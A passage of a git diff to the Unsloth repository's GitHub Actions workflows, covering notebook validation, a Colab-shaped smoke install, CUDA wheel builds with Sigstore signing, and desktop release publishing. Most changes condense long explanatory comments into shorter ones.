- # continue-on-error from both steps together once the count hits zero.
+ # Same backlog as the PR-time Lint step; drop continue-on-error from both together.
continue-on-error: true
run: |
python unsloth/scripts/notebook_validator.py lint \
@@ -323,18 +233,13 @@ jobs:
path: notebooks
persist-credentials: false
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
- # This job pins its dependencies inline below rather than in a requirements
- # file, so the workflow IS the dependency spec and hashing it is what makes the
- # key describe the payload. Unscoped, setup-python hashes dependency files
- # repo-wide, so one unrelated edit invalidates ~700MB per interpreter.
+ # Deps are pinned inline below, so the workflow file is the cache key's dependency spec.
with:
python-version: '3.12'
- name: Restore the pip cache
id: pip-cache
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-restore
with:
name: notebooks-api
@@ -344,27 +249,17 @@ jobs:
- name: Install CPU torch + pinned unsloth + trl + converter deps
run: |
python -m pip install --upgrade pip
- # CPU torch + torchvision. torchvision is required because
- # unsloth_zoo.vision_utils imports PIL at module top, and the
- # easiest way to get a torch-compatible PIL on a CPU runner is
- # to let torchvision pull the right Pillow version.
+ # torchvision pulls a torch-compatible Pillow, which unsloth_zoo.vision_utils needs.
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.8,<2.11' 'torchvision<0.26'
- # Keep in lockstep with PIN_TRL / PIN_TRANSFORMERS in unslothai/notebooks/update_all_notebooks.py
- # and pyproject's caps. triton: `import unsloth` needs it at module scope.
+ # Keep in lockstep with PIN_TRL / PIN_TRANSFORMERS in unslothai/notebooks and pyproject caps.
# datasets must exclude 4.4.0-4.5.0 (patch_datasets raises NotImplementedError there).
pip install 'transformers>=4.56,<=5.17.0' 'trl>=0.22,<=1.15.0' 'accelerate>=1.0' \
'datasets>=3.4.1,!=4.0.*,!=4.1.0,!=4.4.*,!=4.5.0,<5.0.0' 'peft>=0.15,<0.20' \
'bitsandbytes>=0.43' 'sentencepiece' 'protobuf' triton \
Pillow safetensors tqdm packaging psutil
- # Converter deps (nbformat for notebook_to_python.py).
pip install 'nbformat>=5.10' 'nbconvert>=7.16'
- # Install unsloth from the LOCAL checkout (the PR head), not PyPI.
- # The PR-time CI must validate the code in this PR; PyPI unsloth
- # may lag the in-repo CPU-torch fallback in unsloth/kernels/utils.py
- # (lines 162-170) that handles missing torch._C._cuda_getCurrentRawStream.
- # unsloth_zoo from git main mirrors every other CI (Core / MLX /
- # install.sh) so PR-time validation sees the same zoo HEAD.
+ # Install unsloth from the local checkout (PR head), unsloth_zoo from git main.
for attempt in 1 2 3; do
if pip install --no-deps "unsloth_zoo @ git+https://github.com/unslothai/unsloth-zoo"; then
break
@@ -375,7 +270,6 @@ jobs:
pip install --no-deps -e ./unsloth
- name: Convert notebooks for AST scan
- # Same upstream-conversion-error tolerance as the static job.
continue-on-error: true
run: |
python unsloth/scripts/notebook_validator.py convert \
@@ -408,9 +302,7 @@ jobs:
- name: Save the pip cache
if: always()
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-save
with:
dir: ${{ steps.pip-cache.outputs.dir }}
@@ -421,20 +313,13 @@ jobs:
name: smoke install (Colab-shaped venv, opt-in)
if: ${{ github.event.inputs.include_smoke == 'true' || github.event_name == 'schedule' }}
runs-on: ubuntu-latest
- # Above the sum of every per-step cap below (8 restore + 3 seed + 28 install
- # + 10 save + 10 install-cell + 5 verify = 64, plus ~4 for the checkouts and
- # interpreter setup that GitHub charges to this clock without showing in the
- # step timings). The steps are what should stop a stall: a step that exceeds
- # `timeout-minutes` is killed and the job reports `failure` with the step
- # named, whereas this cap reports `cancelled` with nothing, and `cancelled`
- # outranks `failure` in the run rollup. If this number is ever the one that
- # fires, the step budgets are wrong.
+ # Above the sum of the per-step caps (~68 min). Step timeouts report `failure` with the
+ # step named; a job timeout reports `cancelled`, which hides failures in the rollup.
timeout-minutes: 70
strategy:
fail-fast: false
matrix:
# One representative notebook per installation_*_content template.
- # Add rows when a new install template lands in update_all_notebooks.py.
notebook:
- 'nb/Llama3.1_(8B)-Alpaca.ipynb' # installation_content
- 'nb/Gemma3_(4B)-Vision.ipynb' # installation_content + vision
@@ -464,60 +349,20 @@ jobs:
ref: ${{ env.NOTEBOOKS_REF }}
path: notebooks
persist-credentials: false
- # Whatever interpreter the snapshot was taken on. Colab rotated 3.12 to
- # 3.13 and #9376 refreshed the freeze accordingly, but this pin stayed on
- # 3.12, so the job has been installing a 3.13 environment onto a 3.12
- # runner ever since. `python_version` in the mapping is the snapshot's own
- # record of that, and the seed step below fails loudly if the two drift
- # apart again rather than letting one pin resolve short.
+ # Must match the snapshot's python_version; the seed step fails if they drift.
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with: { python-version: '3.13' }
- name: Restore the pip cache
id: pip-cache
- # ./ resolves from GITHUB_WORKSPACE, and this job checks the repo out
- # under `unsloth/`, so the unprefixed path is a directory that does not
- # exist and the step fails with "Can't find 'action.yml'".
+ # Prefixed: this job checks the repo out under `unsloth/`.
uses: ./unsloth/.github/actions/pip-cache-restore
- # ~2 minutes observed for the 10.3 GB entry. Capped because a slow cache
- # transfer is otherwise unbounded and lands on the job clock.
timeout-minutes: 8
with:
- # `-cpu`, not `notebooks-colab`, and the suffix is load-bearing rather
- # than descriptive: it retires the old prefix so nothing falls back to
- # it.
- #
- # pip's HTTP cache is cumulative and pip never evicts from it, while
- # the save step saves the whole directory. With restore-keys on, a run
- # that misses its exact key still restores the PREVIOUS generation's
- # wheels into that directory and saves them straight back out, so
- # dropping pins from the install set cannot shrink the entry. Measured
- # on the two live generations: 7,486,810,247 bytes on 2026-09-15 and
- # 7,486,845,334 on 2026-09-18, 35 KB apart, because the second run
- # inherited the first instead of re-downloading 5 GiB.
- #
- # So #11270 removed 39 pins and freed nothing. A one-time prefix change
- # is what collects it: the next run on main starts from an empty pip
- # directory and saves only what the trimmed set actually downloads.
- # Costs one cold install. Renaming this job rather than bumping the
- # shared `v2` segment on purpose -- v3 would invalidate all 13 pip
- # families at once AND fall outside cache-janitor.yml's `pip-v2-` glob,
- # which would leave the new entries unpruneable.
+ # `-cpu` suffix is load-bearing: a new prefix drops the old cumulative pip cache (pip never
+ # evicts and restore-keys re-save it). Do not bump the shared `v2` (cache-janitor glob).
name: notebooks-colab-cpu
- # Everything the seed step READS, or the key cannot represent what the
- # job installs. The freeze is the pin set. The workflow comes too
- # because the seed step rewrites those pins in place. And the mapping
- # is where the rewrites, skips and spoofs actually live -- it was
- # missing here, so every edit to it (#11270 among them) changed the
- # install while the key stayed put, the restore hit exactly, and
- # pip-cache-save skipped on `cache-hit == 'true'`. A stale entry cannot
- # serve wrong CONTENT, since pip's cache is addressed by URL and hash,
- # but it can and did pin the entry's SIZE to a pin set that no longer
- # exists.
- #
- # api-introspect above keys on the workflow alone because it pins inline.
- # This job does not, and keying it on the workflow alone would rebuild
- # 709 downloads for an unrelated edit to any other job in this file.
+ # Everything the seed step reads, or the key cannot represent what the job installs.
key-files: |
unsloth/scripts/data/colab_pip_freeze.gpu.txt
unsloth/scripts/data/colab_to_cpu_pin.json
@@ -526,13 +371,8 @@ jobs:
- name: Seed Colab-shaped venv from pip-freeze (CPU-mapped)
timeout-minutes: 3
run: |
- # set -e, or the interpreter check below is decorative: the heredoc
- # exits 1, the `cat`/`head`/`wc` after it succeed, and the step takes
- # the last command's status and reports green with an ::error:: in the
- # log. Same shape as the bug this job already shipped once.
+ # set -e, or the heredoc failing below is masked by later commands succeeding.
set -euo pipefail
- # Strip cu128 local versions, split the torch packages out for the CPU
- # wheel index, drop what the runner can't use.
python -u - <<'PY'
import json, re, sys
mapping = json.load(open("unsloth/scripts/data/colab_to_cpu_pin.json"))
@@ -602,37 +442,15 @@ jobs:
wc -l /tmp/seed_pins.txt
- name: Install Colab-shaped venv
- # A cap this step reports itself. `timeout-minutes` on the job scores an
- # overrun as `cancelled`, and `cancelled` outranks `failure` in GitHub's
- # run rollup, so a matrix where every leg timed out reads as though
- # somebody pressed stop, and one leg that genuinely failed beside them is
- # hidden outright (2026-08-21 did exactly that). Nothing watches this
- # workflow, so a silent stall was indistinguishable from a pass.
- #
- # The inner `timeout` calls bound each phase and print why; this is the
- # backstop for the step as a whole. Every phase is counted at its real
- # worst case, which is its duration PLUS its --kill-after grace, since
- # that grace is additional time after the first signal:
- #
- # pip upgrade 2m + 15s = 2m15
- # torch 6m + 30s = 6m30
- # bulk resolve 12m + 30s = 12m30
- # per-pin 8m + 10s = 8m10 (see the deadline below)
+ # Step-level backstop above the sum of phase timeouts plus their --kill-after graces
+ # (~29m25). A job timeout would report `cancelled` and hide real failures.
# ------
- # 29m25
- #
- # The earlier sum said 6 + 12 + 8 = 26 and ignored all four graces, which
- # put the true worst case at 28m40 against a 28m cap. The step backstop
- # would then have killed the run BEFORE the per-pin loop could print the
- # budget error that is the whole point of bounding it.
timeout-minutes: 30
run: |
set -uo pipefail
timeout --signal=INT --kill-after=15s 2m python -m pip install --upgrade pip
- # Only the three torch packages want the PyTorch index. Pointing
- # --index-url at it globally made all 682 other pins resolve against it
- # first and fall through to PyPI, once each.
+ # Only the torch packages use the PyTorch index; a global --index-url slowed every pin.
timeout --signal=INT --kill-after=30s 6m \
pip install --only-binary=:all: -r /tmp/seed_torch.txt \
--index-url https://download.pytorch.org/whl/cpu \
@@ -644,21 +462,8 @@ jobs:
exit "$rc"
fi
- # One resolve for the whole pin set. The per-line fallback below is
- # best effort and quadratic-ish -- later pins uninstall and downgrade
- # what earlier ones installed -- so reaching it at all is a defect, not
- # a mode. It stays because a Colab rotation can always introduce a pin
- # PyPI will not serve, and a partial venv still exercises the install
- # cell; the warning is what makes that visible.
- #
- # --only-binary=:all: so a pin needing a system library the runner does
- # not have fails immediately instead of spending 20-90s on a build that
- # cannot succeed. The exceptions are named rather than assumed: 16 pins
- # in this snapshot are pure Python and published only as an sdist, and
- # --only-binary alone made the bulk resolve fail on the first of them
- # every single run, which is the failure this job kept hitting. They
- # come from the mapping's no_binary list, which overrides --only-binary
- # per package.
+ # One resolve for the whole pin set; the per-line fallback is best effort and a defect if
+ # reached. no_binary pins (sdist-only) override --only-binary per package.
NO_BINARY="$(cat /tmp/seed_no_binary.txt)"
BUILDABLE=()
[ -n "$NO_BINARY" ] && BUILDABLE=(--no-binary="$NO_BINARY")
@@ -677,16 +482,11 @@ jobs:
echo "::warning::bulk resolve failed (exit $rc), falling back to per-pin best effort"
grep -E "^ERROR: (Could not find|No matching|Ignored)" /tmp/install_seed.log | head -20 || true
- # `|| true`: grep -c prints 0 and exits 1 on no match, so `|| echo 0`
- # appended a second line and the annotations below became multi-line,
- # which GitHub truncates after the first.
+ # `|| true`: grep -c prints 0 and exits 1 on no match; `|| echo 0` would add a second line.
total=$(grep -c . /tmp/seed_pins.txt || true)
total=${total:-0}
done_n=0; failed_n=0
- # Bounded, because an unbounded fallback is how this job spent 112 days
- # being scored `cancelled`. Running out of budget is a failure with a
- # number attached, not a silent stop, and the per-pin cap keeps one
- # pathological resolve from eating the whole allowance.
+ # Bounded fallback so an overrun fails with a number instead of being `cancelled`.
deadline=$(( SECONDS + 480 ))
while IFS= read -r spec; do
[ -n "$spec" ] || continue
@@ -695,10 +495,7 @@ jobs:
exit 1
fi
done_n=$(( done_n + 1 ))
- # Capped at what is LEFT, not a flat 90s. The deadline is only tested
- # before launch, so a flat cap let the last pin start at the deadline
- # and run 90s past it, plus its kill grace -- the loop then overran its
- # own budget by 100s and could take the step cap with it.
+ # Cap at the time left, not a flat 90s, so the last pin cannot overrun the deadline.
cap=$(( deadline - SECONDS ))
[ "$cap" -gt 90 ] && cap=90
timeout --signal=INT --kill-after=10s "${cap}s" \
@@ -710,11 +507,7 @@ jobs:
- name: Save the pip cache
if: always()
- # always(), because the fallback path is exactly when the cache is worth
- # most: it installs 709 pins one at a time, and a partial download set is
- # still a head start on the next run.
- #
- # Uploads multiple GB on a miss.
+ # always(): the fallback path is when a partial cache helps most.
timeout-minutes: 10
uses: ./unsloth/.github/actions/pip-cache-save
with:
@@ -723,9 +516,6 @@ jobs:
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
- name: Run install cell
- # The notebook's own install cell, which runs arbitrary pip work this
- # workflow does not control. Uncapped, it was the remaining way to reach
- # the job cap and be scored `cancelled`.
timeout-minutes: 10
env:
NOTEBOOK: ${{ matrix.notebook }}
@@ -740,17 +530,8 @@ jobs:
UV_SYSTEM_PYTHON: 'true'
run: |
set -euo pipefail
- # Convert THIS notebook only, and take whatever file the converter
- # produced, rather than converting all 560 and rebuilding the name.
- #
- # The name was rebuilt with
- # basename "$nb" .ipynb | tr -d '()' | tr -c '[:alnum:]_' _
- # which turned basename's trailing newline into a trailing underscore,
- # so every leg looked for `<name>_.py` and none has ever been found.
- # It also mapped dots to underscores where notebook_to_python.py keeps
- # them. Two spellings of one rule, and the copy was wrong; asking the
- # converter removes the second spelling entirely, and dropping 559
- # conversions we never read removes a basename collision with it.
+ # Convert only this notebook and take whatever file the converter produced, rather than
+ # rebuilding the converter's filename rule here.
rm -rf _converted && mkdir -p _converted
python unsloth/scripts/notebook_to_python.py -o _converted "notebooks/$NOTEBOOK"
mapfile -t converted < <(find _converted -maxdepth 1 -type f -name '*.py' | sort)
@@ -760,8 +541,7 @@ jobs:
exit 1
fi
PY="${converted[0]}"
- # Truncate at the first `from unsloth import` so we run install +
- # core imports only.
+ # Truncate at the first `from unsloth import` to run install + core imports only.
awk '/^from unsloth import/ { print "import sys; sys.exit(0)"; exit } { print }' "$PY" > _smoke.py
PYTHONPATH=unsloth/tests python -u - <<'PY'
import _zoo_aggressive_cuda_spoof as _s; _s.apply()
diff --git a/.github/workflows/pester-guard-ci.yml b/.github/workflows/pester-guard-ci.yml
index e4facc6a5fc..3e3bafbc41c 100644
--- a/.github/workflows/pester-guard-ci.yml
+++ b/.github/workflows/pester-guard-ci.yml
@@ -1,14 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The Pester bootstrap guard runs on windows-latest inside the `pester` job of
-# studio-windows-inference-smoke.yml, which covers edits to that workflow.
-# It does not cover edits to the guard itself: that workflow has no job-level
-# path gating, so listing a .py file there would launch all eight Windows smoke
-# jobs, four of which download GGUF models and run for 30+ minutes.
-#
-# This runs the same guard on the same OS in about a minute, so a Windows-only
-# break in the guard is caught by the PR that introduces it.
+# Runs the Pester bootstrap guard on Windows when the guard itself changes, without
+# launching the full studio-windows-inference-smoke matrix.
name: Pester guard
diff --git a/.github/workflows/prebuilt-cuda-wheels.yml b/.github/workflows/prebuilt-cuda-wheels.yml
index b2e10d02317..1002cfed7be 100644
--- a/.github/workflows/prebuilt-cuda-wheels.yml
+++ b/.github/workflows/prebuilt-cuda-wheels.yml
@@ -65,9 +65,7 @@ permissions:
contents: read
concurrency:
- # Per repository, not per ref. Two runs would fight over the same release tag and the same
- # self-hosted GPU runner, and a wheel build is too expensive to cancel a running one for a
- # newer dispatch, so they queue instead.
+ # Per repository: runs share a release tag and the self-hosted GPU runner, so they queue.
group: prebuilt-cuda-wheels-${{ github.repository }}
cancel-in-progress: false
@@ -103,10 +101,8 @@ jobs:
with:
python-version: '3.12'
- # Every dispatch input that later reaches a shell command -- the source repository, the
- # git ref, the build environment -- is resolved here against the allowlist in
- # prebuilt_wheels.py, and the raw text is never used again. The workflow is gated, but an
- # input that becomes `git checkout $REF` is a command injection either way.
+ # Dispatch inputs are resolved against the prebuilt_wheels.py allowlist here, and the raw
+ # text is never used again (command injection).
- name: Expand the dispatch inputs into a matrix
id: plan
env:
@@ -116,8 +112,6 @@ jobs:
UW_PLATFORMS: ${{ inputs.platforms }}
run: |
set -euo pipefail
- # --github writes matrix= and count= into $GITHUB_OUTPUT itself. The JSON is full of
- # quotes and braces and there is no reason to send it through a shell round trip.
python3 .github/scripts/prebuilt_wheels.py matrix --github
warm:
@@ -185,9 +179,6 @@ jobs:
submodules: ${{ matrix.submodules }}
persist-credentials: false
- # The CUDA toolkit is ~4 GB installed and the flash-attn build tree is another few, against
- # ~25 GB free on a fresh runner. These three directories are ~13 GB of preinstalled
- # toolchains this job never touches.
- name: Free up disk space
if: runner.os == 'Linux'
run: |
@@ -200,11 +191,7 @@ jobs:
with:
python-version: ${{ matrix.python }}
- # From NVIDIA's apt repository rather than a third-party setup action: this job installs a
- # compiler that then produces binaries we sign and publish, so the fewer parties between
- # NVIDIA and nvcc the better. Bounded and retried through the same helper the rest of the
- # repository uses, because an unbounded apt step does not fail, it spends the job's whole
- # budget and is reported as "cancelled" with every later step skipped.
+ # From NVIDIA's apt repo, not a third-party action: this compiler builds binaries we sign.
- name: Install the CUDA ${{ matrix.cuda_tag }} toolkit
if: runner.os == 'Linux'
timeout-minutes: 25
@@ -443,12 +430,8 @@ jobs:
TORCH_INDEX_ARGS: ${{ matrix.torch_index_args }}
PY_PLATFORM: ${{ matrix.py_platform }}
- # The one source edit in this workflow, and only for mamba-ssm. Its setup.py compiles the
- # Mamba-1 selective-scan kernels at -std=c++17; torch 2.13's headers require C++20, and
- # nvcc stops at the first std::variant it cannot parse. flash-attn already made this change
- # upstream (Dao-AILab/flash-attention#2899), which is part of why its pin is a commit and
- # not the last tag. The script asserts on the text it replaces, so an upstream fix fails
- # this step loudly rather than silently building something else.
+ # mamba-ssm builds at -std=c++17 but torch 2.13 headers need C++20. The script asserts
+ # on the text it replaces, so an upstream fix fails loudly.
- name: Patch mamba-ssm for the torch 2.13 C++20 requirement
if: matrix.patch == 'cxx20'
run: python unsloth/.github/scripts/patch_mamba_cxx20.py src/setup.py
@@ -515,7 +498,6 @@ jobs:
name: ccache-${{ matrix.platform }}-${{ matrix.dist }}-torch${{ matrix.torch_mm }}-${{ matrix.python_tag }}-shard${{ matrix.shard }}
path: ccache
if-no-files-found: warn
- # ccache compresses its own entries.
compression-level: 0
retention-days: 1
# A re-run attempt uploads under the same name, which fails without this.
@@ -865,7 +847,6 @@ jobs:
pattern: ccache-${{ matrix.platform }}-${{ matrix.dist }}-torch${{ matrix.torch_mm }}-${{ matrix.python_tag }}-shard*
path: ccache-slices
- # The slices are disjoint, so copying them over one another loses nothing.
- name: Merge the warm slices into the ccache
if: matrix.shards > 0
run: |
@@ -892,8 +873,7 @@ jobs:
WHEEL_PLATFORM: ${{ matrix.platform }}
run: |
set -euo pipefail
- # Each entry is NAME=VALUE from the allowlisted table in prebuilt_wheels.py, so this is
- # exporting constants, not dispatch input.
+ # BUILD_ENV comes from the allowlisted table in prebuilt_wheels.py, not dispatch input.
for pair in $BUILD_ENV; do
export "${pair?}"
echo "export $pair"
@@ -925,10 +905,8 @@ jobs:
run: |
if [ "$RUNNER_OS" = "Windows" ]; then ccache -sv; else ccache -s; fi
- # Upstream's own naming, reproduced rather than approximated: the local version segment is
- # what stops pip installing a torch 2.13 wheel into a torch 2.14 environment. Asserting the
- # pre-rename name first is what makes it honest -- it proves the version that was BUILT is
- # the version the published name claims, rather than renaming whatever fell out of dist/.
+ # Upstream's naming: the local version segment stops pip installing into a different torch.
+ # Assert the pre-rename name first so the built version matches the published name.
- name: Name the wheel the way upstream names it
working-directory: src
env:
@@ -1062,7 +1040,6 @@ jobs:
name: wheel-${{ matrix.platform }}-${{ matrix.dist }}-torch${{ matrix.torch_mm }}-${{ matrix.python_tag }}
path: src/dist/${{ matrix.wheel_name }}
if-no-files-found: error
- # Already a compressed zip. Recompressing 500 MB of it buys nothing and costs minutes.
compression-level: 0
retention-days: 7
@@ -1257,16 +1234,11 @@ jobs:
|| (needs.pure.result == 'success' && needs.pure-windows.result == 'success')) }}
runs-on: ubuntu-latest
timeout-minutes: 45
- # Named for the same reason release-desktop.yml and woa-wheelhouse.yml name it: it is what
- # makes this job gateable. There are no secrets to scope here -- Sigstore uses an ephemeral
- # certificate issued against the run's OIDC token, which is the point of choosing it -- but
- # the identity that certificate binds to is ours, so approval belongs in front of it.
+ # Named environment makes this job gateable; Sigstore binds the certificate to our identity.
environment: release-signing
permissions:
- # The OIDC token Sigstore and the attestation both exchange for a short-lived certificate.
id-token: write
- # actions/attest-build-provenance writes the attestation to the repository's attestation
- # store. It is NOT contents: write; nothing in this job can touch a release.
+ # Writes to the attestation store only; not contents: write.
attestations: write
contents: read
steps:
@@ -1289,9 +1261,7 @@ jobs:
merge-multiple: true
path: wheels
- # A short matrix leg would otherwise publish a set missing an interpreter or a torch minor,
- # which reads downstream as "no wheel for you" and sends the user into a source build. The
- # plan job already counted the cells; this asserts the same number arrived.
+ # Assert every planned wheel arrived, so a partial set is never published.
- name: Every planned wheel arrived
env:
CUDA_COUNT: ${{ needs.plan.outputs.count }}
@@ -1314,29 +1284,18 @@ jobs:
sha256sum -- *.whl | sort -k2 > SHA256SUMS
cat SHA256SUMS
- # Sigstore, with a GitHub OIDC identity: no key of ours exists to be stolen, and what a
- # consumer verifies is the workflow ref and the issuer, not a fingerprint they have to have
- # obtained from somewhere trustworthy first. One .sigstore.json bundle per wheel, published
- # beside it.
- name: Sign every wheel with Sigstore
uses: sigstore/gh-action-sigstore-python@790bc6befb9d733738f18d8f895854b453640ec9 # v3.5.0
with:
inputs: ./wheels/*.whl
- # Verified again immediately, in this job, against the identity the release notes tell
- # consumers to check. A bundle that only verifies with different arguments than the
- # documented ones is a bundle nobody can use.
+ # Verify against the identity the release notes tell consumers to check.
verify: true
verify-cert-identity: https://github.com/${{ github.repository }}/.github/workflows/prebuilt-cuda-wheels.yml@${{ github.ref }}
verify-oidc-issuer: https://token.actions.githubusercontent.com
upload-signing-artifacts: false
- # Only meaningful on a `release` event, which this is not. Set anyway so a future
- # trigger change cannot quietly start attaching assets from here.
+ # Only meaningful on a `release` event; set so a trigger change cannot attach assets.
release-signing-artifacts: false
- # SLSA provenance, which answers a different question than the signature does: the
- # signature says we produced it, the provenance says which run, which commit and which
- # workflow produced it, and `gh attestation verify` checks it with no extra tooling.
- # subject-checksums takes the whole set in one attestation rather than one per wheel.
- name: Attest build provenance
uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
with:
@@ -1407,7 +1366,7 @@ jobs:
TITLE: 'Flash-Attention2, Causal-Conv1D, Mamba_SSM Binaries'
run: |
set -euo pipefail
- # A draft release has no tag yet, so it is found by listing, not by tag lookup.
+ # A draft release has no tag yet, so it is found by listing.
# gh's --jq takes no --arg; env.TAG reads the step env instead.
existing="$(gh release list --repo "$GITHUB_REPOSITORY" --limit 200 --json tagName \
--jq '.[] | select(.tagName == env.TAG) | .tagName')"
@@ -1433,7 +1392,6 @@ jobs:
DRAFT: ${{ inputs.draft }}
run: |
set -euo pipefail
- # Listed rather than looked up by tag: a draft release has no tag object yet.
gh api --paginate "repos/$GITHUB_REPOSITORY/releases?per_page=100" \
--jq '.[] | select(.tag_name == env.TAG) | .assets[] | select(.name | endswith(".whl")) | "\(.digest // "-" | sub("^sha256:"; "")) \(.id) \(.name)"' \
> assets.txt
diff --git a/.github/workflows/publish-desktop-updater.yml b/.github/workflows/publish-desktop-updater.yml
index 44101eed2b7..7eea8df6f71 100644
--- a/.github/workflows/publish-desktop-updater.yml
+++ b/.github/workflows/publish-desktop-updater.yml
@@ -1,7 +1,6 @@
name: Publish Desktop Release
-# Manual dispatch only: sharing release-desktop.yml's concurrency group, a publish-fired
-# run stalls the desktop build queued behind it -- and predates any bundles anyway.
+# Manual dispatch only: it shares release-desktop.yml's concurrency group.
on:
workflow_dispatch:
inputs:
@@ -31,8 +30,6 @@ concurrency:
jobs:
publish-updater:
name: Validate published desktop release
- # A mistakenly flagged prerelease still reaches the job, so validation fails
- # visibly instead of silently skipping.
if: ${{ startsWith(inputs.release_tag, 'v') }}
runs-on: ubuntu-latest
permissions:
@@ -47,7 +44,6 @@ jobs:
with:
egress-policy: audit
- # Only validate complete Desktop publications; bundleless releases are normal.
- name: Check for desktop bundles
id: gate
env:
@@ -61,10 +57,8 @@ jobs:
echo "Could not list assets on ${RELEASE_TAG}; refusing to advance the channel." >&2
exit 1
fi
- # Releases built before the rename carry the version in each filename, so
- # completeness is judged against this tag's own scheme. Both spellings are
- # whole publications; only a mixture of the two is partial. The same rule
- # decides a repair source below, and the two must not disagree.
+ # Older releases carry the version in each filename; only a mixture of schemes is partial.
+ # The repair source check below must use the same rule.
version="$(printf '%s' "${RELEASE_TAG#v}" | sed 's/[^0-9A-Za-z][^0-9A-Za-z]*/_/g; s/^_//; s/_$//')"
suffixes=(MacOS.dmg Linux.AppImage Ubuntu.deb Windows.exe)
stable_count=0
@@ -84,10 +78,7 @@ jobs:
if grep -Fxq 'latest.json' "$asset_names" && [ "$complete" = 'true' ]; then
echo "proceed=true" >> "$GITHUB_OUTPUT"
elif grep -Fxq 'latest.json' "$asset_names" || grep -q '^Unsloth-Desktop-' "$asset_names"; then
- # Half a publication: bundles without a manifest, a manifest without
- # bundles, or some of each. Never validate it. Never block the repair
- # either: the repair reads other releases and writes nothing here, and
- # this is one of the states that leaves the pointer needing repair.
+ # Partial publication: never validate it, but still allow the pointer repair.
if [ "$REPAIR_POINTER" = 'true' ]; then
echo "${RELEASE_TAG} carries no complete Desktop publication; repairing the pointer instead."
echo "proceed=false" >> "$GITHUB_OUTPUT"
@@ -100,22 +91,13 @@ jobs:
echo "proceed=false" >> "$GITHUB_OUTPUT"
fi
- # /releases/latest is repo-wide. A bundleless release moves updater discovery
- # and stable downloads to a 404, so restore the newest complete Desktop release
- # as latest without duplicating its binaries.
+ # /releases/latest is repo-wide; restore the newest complete Desktop release as latest.
- name: Restore latest complete Desktop release
if: ${{ inputs.repair_pointer && steps.gate.outputs.proceed == 'false' }}
env:
GH_TOKEN: ${{ github.token }}
run: |
set -euo pipefail
- # The target's tag shape does not matter: nothing is written to it. A
- # prebuilt llama.cpp release (b8475) or a dated one takes the repo-wide
- # pointer exactly as a bundleless v... release does, and takes the stable
- # download links down with it, so all of them are repairable here.
- #
- # 100 most recent releases: far more than the gap between desktop builds,
- # and one page keeps this to a single API call.
gh api "repos/${GITHUB_REPOSITORY}/releases?per_page=100" > "$RUNNER_TEMP/releases.json"
python3 - "$RUNNER_TEMP/releases.json" "$RUNNER_TEMP/candidates.json" <<'PY'
import json
@@ -208,8 +190,6 @@ jobs:
pathlib.Path(sys.argv[2]).write_text(json.dumps(chosen))
PY
- # Validate candidates newest first and restore the first sound one. One bad
- # manifest must not end the repair while a good pointer target is waiting.
cat > "$RUNNER_TEMP/validate-source.py" <<'PY'
import json
import os
@@ -291,9 +271,7 @@ jobs:
exit 1
fi
- # Re-read the pointer against the world as it is now, not as the listing
- # above found it. Promoting an older release over a healthy newer one, or
- # over one another job just published, hands every client an older manifest.
+ # Re-read the pointer now: promoting over a newer release hands clients an older manifest.
current_latest="$(gh api "repos/${GITHUB_REPOSITORY}/releases/latest" --jq .tag_name 2>/dev/null || true)"
if [ "$current_latest" != "$RELEASE_TAG" ]; then
echo "GitHub latest is ${current_latest:-unset}, not ${RELEASE_TAG}; nothing to repair."
@@ -307,9 +285,6 @@ jobs:
gh api --method PATCH "repos/${GITHUB_REPOSITORY}/releases/${source_id}" \
-f make_latest=true > "$RUNNER_TEMP/restored-latest.json"
- # The pointer is read back rather than assumed, with a little patience for
- # propagation so a slow read does not report a repair that did happen as a
- # failure. A disagreement that outlives the retries is a real one.
restored=''
for _ in 1 2 3 4 5; do
restored="$(gh api "repos/${GITHUB_REPOSITORY}/releases/latest" --jq .tag_name 2>/dev/null || true)"
@@ -321,7 +296,6 @@ jobs:
exit 1
fi
echo "Restored ${source_tag} as GitHub latest while ${RELEASE_TAG} has no Desktop build."
- # Record the gap while GitHub latest pointed at a bundleless release.
{
printf '### Desktop updater pointer\n\n'
printf '%s carries no desktop bundles, so GitHub latest now points back to %s.\n\n' \
@@ -481,10 +455,7 @@ jobs:
PY
- # Deletion is permanent and the tag is now hand-typed, so every check that can
- # reject the target runs above this. Validation only asks whether each manifest
- # bundle is present, so the surviving .sig assets do not change its verdict.
- # The re-fetch keeps source-release.json current for the promotion below.
+ # Deletion is permanent and the tag is hand-typed, so every rejecting check runs above.
- name: Remove standalone signature assets
if: ${{ steps.gate.outputs.proceed == 'true' && !inputs.bridge_legacy_channel }}
env:
@@ -533,17 +504,14 @@ jobs:
sys.exit(f'{tag} is GitHub latest but serves no complete Desktop download set')
PY
- # The gate conjunct is load-bearing: this step reads the manifest fetched by
- # "Download updater metadata", itself gated on proceed == 'true'. Without it a
- # repair_pointer run that also bridges would die on a file it never downloaded.
+ # The proceed gate is load-bearing: this step reads a manifest only downloaded when proceed.
- name: Bridge legacy desktop-latest clients once
if: ${{ steps.gate.outputs.proceed == 'true' && inputs.bridge_legacy_channel }}
env:
GH_TOKEN: ${{ github.token }}
run: |
set -euo pipefail
- # Never create or silently revive this deprecated release. It must be the
- # existing channel established by publishing the final desktop-v bridge.
+ # Never create or revive this deprecated release.
gh api "repos/${GITHUB_REPOSITORY}/releases/tags/desktop-latest" > "$RUNNER_TEMP/legacy-channel.json"
test "$(gh api "repos/${GITHUB_REPOSITORY}/releases/latest" --jq .tag_name)" = "$RELEASE_TAG"
mkdir -p "$RUNNER_TEMP/legacy-current"
diff --git a/.github/workflows/rag-upload-compatibility.yml b/.github/workflows/rag-upload-compatibility.yml
